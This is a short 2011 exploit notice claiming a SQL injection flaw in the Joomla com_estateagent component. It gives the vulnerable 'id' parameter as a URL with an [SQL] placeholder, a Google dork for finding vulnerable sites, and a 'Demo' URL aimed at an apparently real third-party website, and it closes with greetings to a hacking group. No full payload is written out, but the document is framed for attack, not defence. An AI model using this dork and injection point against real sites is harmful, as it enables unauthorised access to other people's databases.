Joomla Estate Agent SQL Injection

`====================================================  
Joomla Component (com_estateagent) <= SQL Injection Vulnerability  
====================================================  
  
  
# Exploit Title: Joomla Component (com_estateagent) <= SQL Injection   
Vulnerability  
# Date: 08 - 10 - 2011  
# Author: BHG Security Center  
# Software Link: http://www.joomla.com  
# Contact : http://black-hg.org  
# Download saftware :   
http://www.freelancer.ph/job-search/componente-joomla-com_estateagent-download/  
# Version: All version  
# Google dork: inurl:index.php?option=com_estateagent  
# Tested on: Linux  
  
[*] ## ExPLo!T:  
  
  
http://localhost/index.php?option=com_estateagent&act=object&task=showEO&id=[SQL]  
  
Vunl Component : com_estateagent  
Demo :   
http://hpmic.com/index.php?option=com_estateagent&act=object&task=showEO&id=[SQL]  
  
===============================================================================  
# Greets To  
  
Net.Edit0r ~ A.Cr0x ~ 3H34N ~ 4m!n ~ Cyrus ~ tHe.k!ll3r ~ Mr.XHat ~ ArYaIeIrAn  
cmaxx M4hd1 ~ Cru3l.b0y ~ HUrr!c4nE ~ r3v0lter , NoL1m1t , farbodmahini ~ xb0y   
THANKS TO ALL Iranian HackerZ  
===============================================================================  
`